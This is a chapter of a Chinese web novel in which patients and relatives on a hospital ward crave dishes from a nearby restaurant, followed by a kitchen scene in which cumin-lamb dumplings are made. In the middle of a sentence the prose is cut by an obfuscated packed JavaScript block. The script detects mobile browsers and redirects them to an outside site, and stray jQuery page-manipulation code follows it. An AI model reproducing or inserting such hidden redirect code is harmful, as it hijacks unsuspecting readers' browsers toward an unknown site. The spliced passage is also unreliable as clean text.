“我们吃的这个,不是医院门口卖的那种盒饭,是外面的一个饭馆,叫江家小酒馆。”常平诚耐心解释道。
自从他们几个开吃,来往有不少病人都被香味吸引过来,问了很多次了。
“江家小酒馆,好,我记得了,谢谢医生同志。”项老爷子抬手一摆,慢慢回了病房。
这还是最近两天,项老爷子第一次对饭菜表现出兴趣,项航看着有戏,赶紧问道:“爸,那我给您买这个店的饭菜,怎么样?”
“嗯。”项老爷子闷哼一声。
“您真的准备吃饭了!”项航惊喜道。
“快给我买吧,我正饿着呢。”项老爷子一摸肚子,他的肚子很配合地“咕噜噜”一声响,“就要医生护士同志刚才吃的那些。”
“行嘞。”项航拿出手机搜索江家小酒馆,虽然没找到外卖,不过导航显示离这里并不远,他披上外套,就急匆匆地出发了。
“看来咱们得快点吃,今天晚上来问我们吃什么的人实在太多。”常平诚讲完,立刻低头扒拉饭。
他刚才尝着青椒酿肉的味道不错,直接把这道菜里的汤汁,都浇在了米饭上。
那汤汁非常浓稠,并没有从米的缝隙间渗透下去,而是都堆在米饭表面。搅拌几下,浅棕色的汤汁才和米饭融合在一起,包裹着每一粒白皙的米饭。
常平诚扒拉了一口,舌尖登时被青椒酿肉的味道滋润,肉的鲜美多汁,青椒热烘烘的辣意,全部聚焦在舌头。
又因为米饭是温热的,将这辣味激活得更加刺激。
“香啊。”常平诚感觉到舌头辣得痛痛的,却满口都是香气。
米饭入口之后,再咬两大口青椒酿肉,大块的肉、吸饱了汤汁变得柔软的青椒,塞满嘴的感觉格外舒爽,满口喷香。
“是得赶紧吃了。”蔡振恒说着,端起装避风塘炒虾的盒子,将剩余的虾、藕片,连同面包糠的渣渣,一同扒拉进米饭里。
焦而细碎的面包糠,和柔软的米饭拌在一起,嚼起来,软弹与酥脆的口感混合,感觉很奇妙。
蔡振恒夹起虾和藕片一同入口,那虾皮破裂的声音,藕片嚼碎的声音,伴随着每一次牙齿闭合,响个不停。
“诶,我之前都不爱吃玉米的,没想到玉米也能做得这么好吃。”冷瑜感慨道,又夹起一块玉米入口。
咸蛋黄的味道留在嘴唇上,玉米粒四溢的汁水流淌在舌头上,外咸内甜的组合,吃得她欲罢不能。
项老爷子在病房里,歪着头正好能看到医生护士在吃饭,他看两眼大嚼大咽的场面,喝两口水抑制一下饥饿感。
这一整天没吃饭,都没他这二十几分钟的等待那么焦灼。
“项大哥,你在等什么呢?”旁边病床上的汪老太有气无力地问道。
汪老太最近身体不适,胃口很不好,每天就是躺在床上输液,盯着天花板发呆。
“你的检查结果快到了吗?”汪老太转头看他。
“我的饭快到了。”项老爷子又喝了一口水。
汪老太的女儿,还有对面病床上照顾妻子的大哥都笑了。
“你上午不是说,绝食到检查结果出来吗?”汪老太疑惑。
“这个饭是刚才医生护士同志在吃的,闻着很香。绝食暂停,吃完之后我再继续绝食。”项老爷子义正言辞地表示着自己的原则。
这下连汪老太都整笑了,病房里活跃着快乐的气氛。
项老爷子已经给儿子打了两个电话催促,正要打第三个电话时,项航提着几个饭盒,出现在病房门口。
“诶呀,你别着急,那店里有好多人排队呢。”项航累得气喘吁吁,脱下大衣随手一挂,一屁股坐在凳子上休息。
“也确实,闻着这么香的东西,肯定很多人争着吃。”项老爷子的目光完全聚焦在了饭盒上。
饭盒依次打开,那热腾腾的香味飘出来时,项航明显感觉到病房里安静了。
汪老太女儿、对面病床的大哥和大哥妻子,视线都汇聚过来,汪老太也支棱起半个脑袋,闻到底是什么这么香。
甚至靠近门口那张床上,打着呼噜睡觉的中年男人,呼噜声都停止,被香醒了,抽动着鼻子一脸疑惑地爬起来。
然而看到饭盒里的食物,项老爷子却瞬间皱起了眉头:“这不是刚才医生护士吃的那种虾啊,你没看到吗,那个虾里面有黄色的粉粉。”
“我知道,他们吃的是避风塘炒虾,我去店里,老板告诉我这个虾今天卖得太火了,原材料面包糠用完了。”项航边解释边拿出餐具,凑到项老爷子耳边小声道,“我求了老板好久,她才给我换着做了一道蒜蓉粉丝虾。”
“蒜蓉粉丝虾......”项老爷子满是皱纹的眼皮耷拉着,左右瞧着那虾。
每只虾都个头饱满,前半部分虾身都已经剥了壳,橙红色的尾部还带着壳,整整齐齐地高高翘起。
炸得金黄的蒜粒、卷成一团的粉丝包裹着虾身。
油炸过的蒜香,以及热油激过的虾肉香味,扑面而来。
汪老太的女儿看见那放成一排、整整齐齐的虾,咽了咽口水。
“这个比得上那个带粉粉的虾吗?”项老爷子狐疑。
“我跟您说,今天到店才知道,好多食客求着这家店上新品,但是备选新品太多了,只能按照食客的呼声安排档期,今天这虾还是我跟老板说我老爹病了,一定要吃这个虾,她才做的。”
项航讲得自己都燃起来了,食指比了个“1”:“您第一个吃,而且这菜还是独一份儿。”
“是吗,这么厉害啊。”项老爷子赶紧拿起筷子,夹宝贝似的夹起一块虾,还悬着左手接着,生怕滴下来一点儿汤汁。
虾刚放进嘴里,肉汁就渗透出来,项老爷子一天没吃没喝干渴的口腔,瞬间被虾的鲜味激活了。
“嗯!——”项老爷子惊喜地睁大了眼睛,用不太好的牙嚼巴了几下。
细细的粉丝软软弹弹,轻轻一咬,就咬断了,蒜粒非常小,炸过后微微焦脆。
虾肉紧实又弹滑,一口咬下,不仅弹牙,还非常多汁。
项老爷子慢慢嚼着,那蒜香,混合着鲜美的虾味,无比开胃。
“我还以为我这老牙老嘴的,咬不动呢,没想到这么轻松就能吃掉。”项老爷子吃了一个虾,把虾尾吐掉,直接上手拿起另一个虾的虾尾,“这不跟嗑瓜子一样吗?”
他把一个又一个虾送进嘴里,嘴上咬着,一拉扯,虾肉入口,虾尾的壳直接拔下来。
既能吃到香喷喷的虾肉,又不会用手把食物弄脏,一举两得。
“真香啊。”项老爷子每送进嘴里一口虾,就“滋儿”地先嗦一下虾肉汁,然后再嚼,因为缺了牙齿,咀嚼幅度非常大,看着贼香。
汪老太也不发呆了,挣扎着坐起身,眼巴巴地看着项老爷子吃虾。
对面床的大哥忍不住了,拿出一包方便面啃,眼睛却不离虾肉,那大哥的妻子则推搡着他,让他给自己再带一份饭。
“完了,我也又饿了。”项航在来医院之前,本身是吃过饭了的,可现在舌头又按耐不住寂寞了。
“我也吃一个。”
项航刚伸手,项老爷子就用筷子打他的手:“不是给我买的吗?你吃了我都不够吃了。”
“这可三个菜呢,您吃得完吗?”项航吃痛收手,“您还是亲爹吗?对儿子没有一点儿爱了吗?”
“你小子别矫情。”项老爷子奚笑一声,目光转向另外两道菜,“哟,这还有两个菜呢。”
每块两寸长,焦黄的炸货,外面裹了一层金灿灿的粉末,宛如裹了金粉,在饭盒里整齐地堆成几堆,玉米的香气伴着油香袭来。
还有一些软糯的不规则软块,表面裹了一层晶莹的汤汁,散发出浓浓的鱼肉香,以及热油炒过茄子的香味。
“这是玉米和茄子?”项老爷子通过气味猜测。
“是的,金沙玉米和肉末茄子。”项航看着那油亮亮的挂汁,咽了咽口水,“今天医护人员吃的那个青椒茄子也卖完了。”
“好吧,尝尝这两个的味道。”
项老爷子说着,用筷子直插一块茄子。
这个小小的动作,却被全病房的人看在眼里。
那茄子软软的,筷子插到底才扎起一块,一整个都被挂汁包裹着,深棕色里
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14909344|158240||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
夹杂了几抹茄皮的黑紫色,很是诱人。
这一口吃下,外层是炸货被红烧汁烩过的柔软口感,既有酱香的咸,又有糖醋汁的酸甜。
茄香非常浓郁,嚼上几下,茄汁渗透出来,其中掺杂的油气,又是带了鱼肉香味的。
这鱼香茄子入口的享受程度,难以用语言描述,项老爷子香得眯起了眼睛。
“天呐!这谁顶得住啊?哪里有吃的!”靠近门口病床上的中年男人忍不了了,跳下床翻找着柜子,发现没吃的之后,冲下楼去买盒饭了。
“还是新时代好啊!天天能吃上这么好吃的东西。”项老爷子有点泪目,又将茄子放在米饭上,一同夹进嘴里。
米饭干湿正好,软而有弹性,茄子则是糯糯的、软趴趴的,牙齿将两种食物碾碎、混合,香味占领整个口腔。
“诶呀,早知道我也给自己带一份了。”项航懊悔地一拍大腿,此时只能看着眼前的饭菜发馋。
“这个玉米挺别致,完全看不出是玉米。”项老爷子好奇地咬了一口,以为是放了什么玉米味道的添加剂。
然而那玉米粒像是爆珠一样,一咬就在嘴里爆开,因为不是软糯的玉米,而是清甜的玉米,这一口格外清爽。
外层炸过,油香和咸蛋黄带来非同寻常的味道。
“嗯——好吃!纯天然无添加啊!好久没吃到过这么好吃的玉米了。”项老爷子竖起大拇指。
“咔滋咔滋”的脆响,终于打破了汪老太的防线,她直起身,开口问道:“你们吃的是什么好东西,也太下饭了。”
“是江家小酒馆的饭菜,这个店离得不远。”项航很乐意分享美食给病友们。
“女儿啊,我好饿。”汪老太哼哼唧唧,拉着女儿的衣袖朝她撒娇。
汪老太的女儿满眼惊喜:“您这段时间都没怎么好好吃饭,终于饿了!等着,我马上去给你买!”
“好好好!”汪老太高兴得直拍手,意识到自己左手上扎着针,又赶紧放平了手,哈哈乐着。
“老公啊,我好饿。”对面床的女人咂吧着嘴,也朝丈夫撒娇。
“老婆啊,我也饿,等着,老公现在就把那家店的饭全都来一份,打包回来。”大哥把柜子里两个超大饭盒夹在腋下,快步走出了病房门。
“哎呀,真是早买早享受。”项老爷子满口都是食物,讲话都模糊了,还是不忘得意洋洋地调侃。
“我也想吃了,害。”项航犹豫半天,站起身去追那大哥,“隔壁床的大哥,你能给我再带一份吗!别跑那么快!”
-
洛之桃背着电脑往江家小酒馆走,一想到江家小酒馆的新店,会用她电脑里的某个方案设计装修出来,她就激动。
来到店内已经九点,客人们依依不舍地离开,这还是江云枫定下的强制打烊时间,否则就算晚上十二点都招待不完所有客人。
此时李博鸿和林若雪正在大堂坐着玩手机,等待他们的宵夜,江云枫和言亦轩则在厨房里忙碌着。
“好香啊,你们在烤羊肉串吗?”洛之桃深吸着气。
羊肉的鲜味,混合着孜然的浓郁香气,飘散在整个大堂,实在勾人胃口。
“好像是的,不过也不一定。”林若雪笑道。
“是的,有时候闻到是一个味,吃到又是另一种形式,我们都挺喜欢这种开盲盒的感觉的。”李博鸿咽了咽口水,耐心等待着。
“哦?这么有趣?”洛之桃一套粉色汉服,衬得她身形轻盈,朝厨房快步走去。
江云枫从厨房探出半个头:“小洛来啦。”
“是的,设计图纸做好了,正好拿给你看看。”洛之桃举了举装着电脑的包。
“这个不急,咱们一起吃完饺子再说。”江云枫的声音,被炒菜的声音盖住,模模糊糊的,“一会儿咱还可以讨论一下,过几天中秋节的活动。”
“等等,设计图纸先放放,中秋节活动也先放放,你说这孜然羊肉味道来自饺子?”
洛之桃只抓住了食物的重点,她有些惊讶地进了厨房,看到江云枫在炒孜然羊肉,而言亦轩竟然正在把孜然羊肉,塞在圆圆的面皮里,包成饺子。